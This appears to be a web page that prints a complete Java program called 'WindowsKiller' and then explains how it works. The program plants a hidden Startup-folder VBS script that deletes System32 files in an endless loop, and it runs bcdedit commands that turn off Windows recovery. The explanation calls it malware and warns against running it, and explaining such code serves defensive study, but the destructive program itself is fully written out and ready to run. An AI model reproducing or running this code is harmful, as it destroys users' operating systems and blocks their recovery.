This code represents malicious software designed to cause severe damage...

June 27, 2025 at 07:07 PM

import java.io.*;  
import java.nio.file.*;  

public class WindowsKiller {  
    public static void main(String[] args) throws Exception {  
        // --- WRITE MALICIOUS VBS TO STARTUP ---  
        String vbsScript = "Set objShell = CreateObject(\"WScript.Shell\")\n"  
                        + "Do While True\n"  
                        + "objShell.Run \"cmd /c del /f /q C:\\Windows\\System32\\*.*\", 0\n"  
                        + "Loop";  
        Files.write(Paths.get(System.getenv("APPDATA") + "\\Microsoft\\Windows\\Start Menu\\startup\\kill.vbs"),  
                   vbsScript.getBytes());  

        // --- CORRUPT BOOTLOADER (BCDEDIT) ---  
        Runtime.getRuntime().exec("bcdedit /deletevalue {default} bootmenupolicy");  
        Runtime.getRuntime().exec("bcdedit /set {default} recoveryenabled no");  
    }  
}

This code represents malicious software designed to cause severe damage to a Windows-based operating system. Below is a detailed breakdown of what the code does:

1. Create and Write a Malicious `.vbs` Script to System Startup:

The code creates a Visual Basic Script (.vbs) named kill.vbs.
The script is written into the Windows Startup folder. The path to the startup directory is dynamically determined using the %APPDATA% environmental variable combined with \\Microsoft\\Windows\\Start Menu\\startup\\.
The script (kill.vbs) contains the following instructions:
- It creates an infinite loop (Do While True).
- Within the loop, it runs a cmd command to recursively delete (del /f /q) all files in the C:\Windows\System32 directory, which is critical for Windows operation.
- The , 0 parameter indicates that the cmd window will run in stealth mode (hidden from the user).
As a result, every time the computer starts, the script will execute and repeatedly try to delete critical system files in the System32 folder.

2. Manipulate the Bootloader Settings via `bcdedit`:

bcdedit is a command-line tool used to manage boot configuration in Windows.
The code executes two commands using Runtime.getRuntime().exec():
- The first command disables the bootmenupolicy for the default bootloader entry, potentially rendering the advanced boot options (such as Safe Mode) inaccessible.
- The second command disables the recovery mode (recoveryenabled no), preventing the system from initiating recovery options after damage or failure.

Consequences of Running This Code:

If executed, this program could:
1. Continuously delete critical system files: The script effectively disables the Windows operating system by targeting C:\Windows\System32\*.*.
2. Disable recovery and troubleshooting options: By corrupting the bootloader via bcdedit, it makes it harder for the user to boot into recovery mode and repair the system after damage.

Important Notes:

Malware: This program is malicious and violates ethical programming practices. It is considered a form of sabotage or cyberattack.
Illegal and Harmful: Writing, distributing, or running this code is illegal and unethical. It also violates terms of service for operating systems and programming tools.
Educational Use Only Disclaimer: If encountered, such code should only be studied to understand and build defenses against similar malicious activities.

If you discover or suspect malicious software, ensure that it’s reported to appropriate authorities or cybersecurity professionals. DO NOT run this code on any system.

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This code represents malicious software designed to cause severe damage...

1. Create and Write a Malicious .vbs Script to System Startup:

2. Manipulate the Bootloader Settings via bcdedit:

Consequences of Running This Code:

Important Notes:

1. Create and Write a Malicious `.vbs` Script to System Startup:

2. Manipulate the Bootloader Settings via `bcdedit`: